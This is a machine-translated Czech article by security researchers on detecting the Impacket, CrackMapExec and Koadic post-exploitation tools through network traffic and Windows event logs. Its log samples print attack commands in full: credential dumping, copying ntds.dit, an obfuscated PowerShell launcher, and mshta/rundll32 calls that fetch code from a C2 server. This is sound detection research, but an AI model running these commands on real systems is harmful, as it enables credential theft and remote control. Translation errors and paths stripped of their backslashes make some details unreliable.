Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů

Počet útoků ve firemním sektoru každým rokem roste: např. v roce 2017 zaznamenala o 13 % více unikátních incidentů než v roce 2016 a na konci roku 2018 — o 27 % více incidentů, než v předchozím období. Včetně těch, kde je operační systém hlavním pracovním nástrojem WindowsV letech 2017–2018, APT Dragonfly, APT28, APT MuddyWater provedl útoky na vládní a vojenské organizace v Evropě, Severní Americe a Saúdské Arábii. A použili k tomu tři nástroje - Imppacket, CrackMapExec и Koadic. Jejich zdrojový kód je otevřený a dostupný na GitHubu.

Za zmínku stojí, že tyto nástroje neslouží k prvotnímu průniku, ale k rozvoji útoku v rámci infrastruktury. Útočníci je používají v různých fázích útoku po průniku perimetrem. To se mimochodem těžko odhaluje a často jen s pomocí techniky detekce stop kompromitace v síťovém provozu nebo nástroje k tomu detekovat aktivní akce narušitele poté, co pronikne do infrastruktury. Nástroje poskytují různé funkce, od přenosu souborů po interakci s registrem a provádění příkazů na vzdáleném počítači. Provedli jsme studii těchto nástrojů, abychom určili jejich síťovou aktivitu.

Co jsme museli udělat:

  • Pochopte, jak fungují hackerské nástroje. Zjistěte, co útočníci potřebují zneužít a jaké technologie mohou použít.
  • Najděte to, co není detekováno nástroji zabezpečení informací v prvních fázích útoku. Fáze průzkumu může být přeskočena, buď proto, že útočník je interní útočník, nebo proto, že útočník využívá chybu v infrastruktuře, která nebyla dříve známa. Je možné obnovit celý řetězec jeho akcí, a proto vzniká touha detekovat další pohyb.
  • Odstraňte falešné poplachy z nástrojů detekce narušení. Nesmíme zapomínat, že když jsou určité akce odhaleny pouze na základě inteligence, jsou možné časté chyby. Obvykle v infrastruktuře existuje dostatečné množství způsobů, na první pohled nerozeznatelných od legitimních, jak získat jakékoli informace.

Co tyto nástroje dávají útočníkům? Pokud se jedná o impacket, pak útočníci získají velkou knihovnu modulů, které mohou být použity v různých fázích útoku po průniku perimetrem. Mnoho nástrojů používá moduly Impacket interně, jako je Metasploit. Má dcomexec a wmiexec pro vzdálené spouštění příkazů, secretsdump pro získání paměťových účtů přidaných z Impaketu. V důsledku toho správná detekce aktivity takové knihovny zajistí detekci derivátů.

O CrackMapExec (nebo jednoduše CME) tvůrci napsali „Powered by Impacket“ z nějakého důvodu. Kromě toho má CME připravenou funkcionalitu pro oblíbené scénáře: jde o Mimikatz pro získávání hesel nebo jejich hashů a představení agenta Meterpreter nebo Empire pro vzdálené provádění a Bloodhound na palubě.

Třetím nástrojem, který jsme si vybrali, je Koadic. Je poměrně nový, byl představen na mezinárodní hackerské konferenci DEFCON 25 v roce 2017 a nabízí nekonvenční přístup: funguje přes HTTP, JavaScript a Microsoft Visual Basic Script (VBS). Tento přístup se nazývá „život z přírody“: nástroj používá sadu závislostí a knihoven zabudovaných do WindowsTvůrci tomu říkají COM Command & Control neboli C3.

IMPACKET

Funkce Impacketu jsou poměrně široké a sahají od průzkumu v rámci služby AD a sběru dat z interních serverů MS SQL až po techniky pro získávání přihlašovacích údajů, včetně útoku SMB relay a načtení souboru ntds.dit obsahujícího hashe uživatelských hesel z řadiče domény. Impacket také spouští příkazy na dálku pomocí čtyř různých metod: WMI, služby správy plánovačů a dalších. Windows, DCOM a SMB a k tomu potřebuje přihlašovací údaje.

tajná skládka

Pojďme se podívat na secretsdump. Toto je modul, který může cílit jak na uživatelské počítače, tak na řadiče domény. S ním můžete získat kopie oblastí paměti LSA, SAM, SECURITY, NTDS.dit, takže je lze vidět v různých fázích útoku. Prvním krokem v provozu modulu je autentizace přes SMB, která k automatickému provedení útoku Pass the Hash vyžaduje buď heslo uživatele, nebo jeho hash. Dále přichází požadavek na otevření přístupu do Service Control Manager (SCM) a získání přístupu do registru pomocí protokolu winreg, pomocí kterého může útočník zjistit data větví, které ho zajímají, a získat výsledky přes SMB.

Na Obr. 1 přesně vidíme, jak se při použití protokolu winreg získává přístup pomocí klíče registru s LSA. Chcete-li to provést, použijte příkaz DCERPC s operačním kódem 15 - OpenKey.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 1. Otevření klíče registru pomocí protokolu winreg

Dále, když je získán přístup pomocí klíče, hodnoty jsou uloženy příkazem SaveKey s operačním kódem 20. Impacket to dělá velmi specifickým způsobem. Uloží hodnoty do souboru, jehož název je řetězec 8 náhodných znaků s připojeným .tmp. Navíc k dalšímu načítání tohoto souboru dochází přes SMB z adresáře System32 (obr. 2).

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 2. Schéma pro získání klíče registru ze vzdáleného počítače

Ukazuje se, že takovou aktivitu na síti můžete odhalit dotazem na určité větve registru pomocí protokolu winreg, konkrétní jména, příkazy a jejich pořadí.

Tento modul také zanechává stopy v protokolu událostí. Windows, díky čemuž je snadno detekovatelný. Například v důsledku spuštění příkazu

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

v časopise Windows Server Rok 2016 bude svědkem následující klíčové posloupnosti událostí:

1. 4624 - Vzdálené přihlášení.
2. 5145 - kontrola přístupových práv ke vzdálené službě winreg.
3. 5145 - kontrola přístupových práv k souboru v adresáři System32. Soubor má náhodný název uvedený výše.
4. 4688 – vytvoření procesu cmd.exe, který spustí vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - vytvoření procesu pomocí příkazu:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Stejně jako mnoho nástrojů po exploataci má Impacket moduly pro vzdálené provádění příkazů. Zaměříme se na smbexec, který vám poskytuje interaktivní příkazový shell na vzdáleném počítači. Tento modul také vyžaduje autentizaci přes SMB buď heslem nebo jeho hashem. Na Obr. 3 vidíme příklad fungování takového nástroje, v tomto případě se jedná o lokální administrátorskou konzoli.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 3. interaktivní konzole smbexec

Prvním krokem v smbexec po ověření je otevření SCM pomocí příkazu OpenSCManagerW(15). Dotaz je pozoruhodný: má pole MachineName nastavené na DUMMY.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 4. Požádejte o otevření Správce řízení služeb

Dále je služba vytvořena pomocí příkazu CreateServiceW (12). V případě smbexec můžeme vidět pokaždé stejnou logiku sestavování příkazů. Na Obr. 5 zelená barva označuje neměnné parametry příkazu, žlutá - co může útočník změnit. Je snadné vidět, že název spustitelného souboru, jeho adresář a výstupní soubor lze změnit, ale zbytek je mnohem obtížnější změnit bez porušení logiky modulu Impaket.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 5. Požádejte o vytvoření služby pomocí Správce řízení služeb

Smbexec také zanechává zjevné stopy v protokolu událostí. WindowsV časopise Windows Server 2016 pro interaktivní příkazový shell s příkazem ipconfig vidíme následující sekvenci klíčových událostí:

1. 4697 – instalace služby na počítač oběti:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - vytvoření procesu cmd.exe s argumenty z bodu 1.
3. 5145 - kontrola přístupových práv k souboru __output v adresáři C$.
4. 4697 - Instalace služby na počítač oběti.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - vytvoření procesu cmd.exe s argumenty z bodu 4.
6. 5145 - kontrola přístupových práv k souboru __output v adresáři C$.

Impacket je framework pro vývoj útočných nástrojů. Podporuje téměř všechny protokoly v Windows-infrastrukturu a přesto má své vlastní charakteristické rysy. Patří mezi ně specifické dotazy winreg, použití SCM API s vlastní strukturou příkazů, formát názvu souboru a sdílená položka SMB SYSTEM32.

CRACKMAPEXEC

Nástroj CME je určen především k automatizaci těch rutinních akcí, které musí útočník provést, aby postoupil v rámci sítě. Umožňuje vám pracovat ve spojení s notoricky známým agentem Impéria a Meterpreterem. Chcete-li provádět příkazy neviditelně, CME je může zatemnit. Pomocí Bloodhound (samostatný průzkumný nástroj) může útočník automatizovat hledání relace aktivního správce domény.

Bladhaund

Bloodhound jako samostatný nástroj vám umožňuje provádět pokročilý průzkum v rámci sítě. Shromažďuje data o uživatelích, počítačích, skupinách, relacích a přichází jako skript PowerShell nebo binární soubor. Ke sběru informací se používá LDAP nebo protokoly založené na SMB. Integrační modul CME vám umožňuje stáhnout Bloodhound do počítače oběti, spustit jej a po spuštění přijímat shromážděná data, čímž automatizuje akce v systému a činí je méně nápadnými. Grafický shell Bloodhoundu prezentuje nasbíraná data ve formě grafů, což umožňuje najít nejkratší cestu od stroje útočníka ke správci domény.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 6. Rozhraní Bloodhound

Pro spuštění na počítači oběti modul vytvoří úlohu pomocí ATSVC a SMB. ATSVC je rozhraní pro práci s plánovačem úloh. WindowsCME používá funkci NetrJobAdd (1) k vytváření úloh v síti. Příklad toho, co modul CME odesílá, je znázorněn na obrázku 7: jedná se o volání příkazu cmd.exe a obfuskovaný kód ve formě XML argumentů.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Obr.7. Vytvoření úlohy přes CME

Po odeslání úkolu k provedení spustí stroj oběti samotného Bloodhounda a je to vidět na provozu. Modul se vyznačuje LDAP dotazy pro získání standardních skupin, seznamu všech strojů a uživatelů v doméně, získání informací o aktivních uživatelských relacích prostřednictvím SRVSVC NetSessEnum požadavku.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 8. Získání seznamu aktivních relací přes SMB

Kromě toho je spuštění Bloodhounda na počítači oběti s povoleným auditováním doprovázeno událostí s ID 4688 (vytvoření procesu) a názvem procesu. «C:WindowsSystem32cmd.exe». Pozoruhodné jsou v něm argumenty příkazového řádku:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

enum_avproducts

Modul enum_avproducts je poměrně zajímavý z hlediska funkčnosti a implementace. WMI umožňuje načítat data z různých objektů pomocí dotazovacího jazyka WQL. Windows, což je v podstatě to, co tento modul CME používá. Generuje dotazy do tříd AntiSpywareProduct a AntiMirusProduct ohledně bezpečnostních nástrojů nainstalovaných na počítači oběti. Pro získání požadovaných dat se modul připojí k jmennému prostoru rootSecurityCenter2, poté vygeneruje dotaz WQL a obdrží odpověď. Obrázek 9 ukazuje obsah těchto dotazů a odpovědí. V našem příkladu, Windows Defender.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 9. Síťová aktivita modulu enum_avproducts

Často lze vypnout auditování WMI (Trace WMI-Activity), v jehož událostech můžete najít užitečné informace o dotazech WQL. Ale pokud je povoleno, pak pokud je spuštěn skript enum_avproducts, bude uložena událost s ID 11. Bude obsahovat jméno uživatele, který odeslal požadavek, a jméno v oboru názvů rootSecurityCenter2.

Každý z modulů CME měl své vlastní artefakty, ať už šlo o specifické WQL dotazy nebo o vytvoření určitého typu úlohy v plánovači úloh s obfuskací a aktivitou specifickou pro Bloodhound v LDAP a SMB.

KOADIC

Charakteristickým rysem Koadicu je použití vestavěných Windows Interprety JavaScriptu a VBScriptu. V tomto smyslu sleduje trend života z přírody – to znamená, že nemá žádné externí závislosti a používá standardní nástroje. WindowsJedná se o plnohodnotný nástroj Command & Control (CnC), protože po infikování je do stroje nainstalován „implantát“, který umožňuje jeho ovládání. Takový stroj se v Koadicově terminologii nazývá „zombie“. Pokud oběť nemá dostatečná oprávnění pro plnohodnotný provoz, Koadic ji může zvýšit pomocí technik obcházení UAC.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 10. Příkazový shell Koadic

Oběť musí zahájit komunikaci se serverem Command & Control. K tomu potřebuje získat přístup k předem připravenému URI a získat hlavní tělo Koadic pomocí jednoho ze stagerů. Na Obr. 11 ukazuje příklad pro stager mshta.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 11. Inicializace relace s CNC serverem

Z proměnné WS odpovědi je zřejmé, že ke spuštění dochází prostřednictvím WScript.Shell a proměnné STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE obsahují klíčové informace o parametrech aktuální relace. Toto je první pár požadavek-odpověď v HTTP připojení k serveru CnC. Následné požadavky přímo souvisí s funkčností volaných modulů (implantátů). Všechny moduly Koadic fungují pouze s aktivní relací CnC.

Mimikatz

Stejně jako CME pracuje s Bloodhoundem, Koadic pracuje s Mimikatz jako samostatný program a má několik způsobů, jak jej spustit. Níže je uvedena dvojice žádost-odpověď pro stažení implantátu Mimikatz.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 12. Přeneste Mimikatz do Koadic

Můžete vidět, jak se změnil formát URI v požadavku. Má hodnotu pro proměnnou csrf, která je zodpovědná za vybraný modul. Nevšímejte si jejího jména; všichni víme, že CSRF je obvykle chápán jinak. V reakci na to přišlo stejné hlavní tělo Koadic, ke kterému byl přidán kód související s Mimikatz. Je poměrně velký, takže se podívejme na klíčové body. Zde je knihovna Mimikatz zakódovaná v base64, serializovaná třída .NET, která ji vloží, a argumenty pro spuštění Mimikatz. Výsledek provedení je přenášen po síti v čistém textu.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 13. Výsledek spuštění Mimikatz na vzdáleném počítači

Exec_cmd

Koadic má také moduly, které mohou provádět příkazy na dálku. Zde uvidíme stejnou metodu generování URI a známé proměnné sid a csrf. V případě modulu exec_cmd je do těla přidán kód, který je schopen spouštět příkazy shellu. Následující kód je zobrazen v odpovědi HTTP serveru CnC.

Jak odhalit útoky na Windows-infrastruktura: studium nástrojů hackerů
Rýže. 14. Kód implantátu exec_cmd

Pro spuštění kódu je vyžadována proměnná GAWTUUGCFI se známým atributem WS. S jeho pomocí implantát zavolá shell, zpracuje dvě větve kódu - shell.exec s návratem výstupního datového toku a shell.run bez návratu.

Koadic není typický nástroj, ale má své vlastní artefakty, pomocí kterých jej lze nalézt v legitimním provozu:

  • speciální vytváření požadavků HTTP,
  • pomocí rozhraní winHttpRequests API,
  • vytvoření objektu WScript.Shell prostřednictvím ActiveXObject,
  • velké spustitelné tělo.

Počáteční připojení je iniciováno stagerem, takže je možné detekovat jeho aktivitu prostřednictvím událostí. WindowsPro mshta se jedná o událost 4688, která indikuje vytvoření procesu s atributem startup:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Při spuštění Koadic lze vidět dalších 4688 událostí s atributy, které jej dokonale charakterizují:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Závěry

Trend žití z půdy získává na popularitě mezi zločinci. Využívají vestavěné Windows nástroje a mechanismy pro jejich vlastní potřeby. V APT reportech vidíme stále častěji objevovat populární nástroje jako Koadic, CrackMapExec a Impacket, které se tímto principem řídí. Roste také počet forků těchto nástrojů na GitHubu a objevují se nové (v současné době jich je kolem tisíce). Tento trend získává na popularitě díky své jednoduchosti: útočníci nepotřebují nástroje třetích stran; ty jsou již přítomny na počítačích obětí a pomáhají jim obejít bezpečnostní opatření. Zaměřujeme se na studium síťových interakcí: každý výše popsaný nástroj zanechává v síťovém provozu své vlastní stopy; jejich detailní studium nám umožnilo trénovat náš produkt. PT Network Attack Discovery odhalit je, což v konečném důsledku pomáhá prošetřit celý řetězec kybernetických incidentů, které se jich týkají.

Autoři:

  • Anton Tyurin, vedoucí oddělení expertních služeb, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Zdroj: www.habr.com

Kupte si spolehlivý hosting pro stránky s DDoS ochranou, VPS VDS servery 🔥 Kupte si spolehlivý webhosting s ochranou DDoS, VPS VDS servery | ProHoster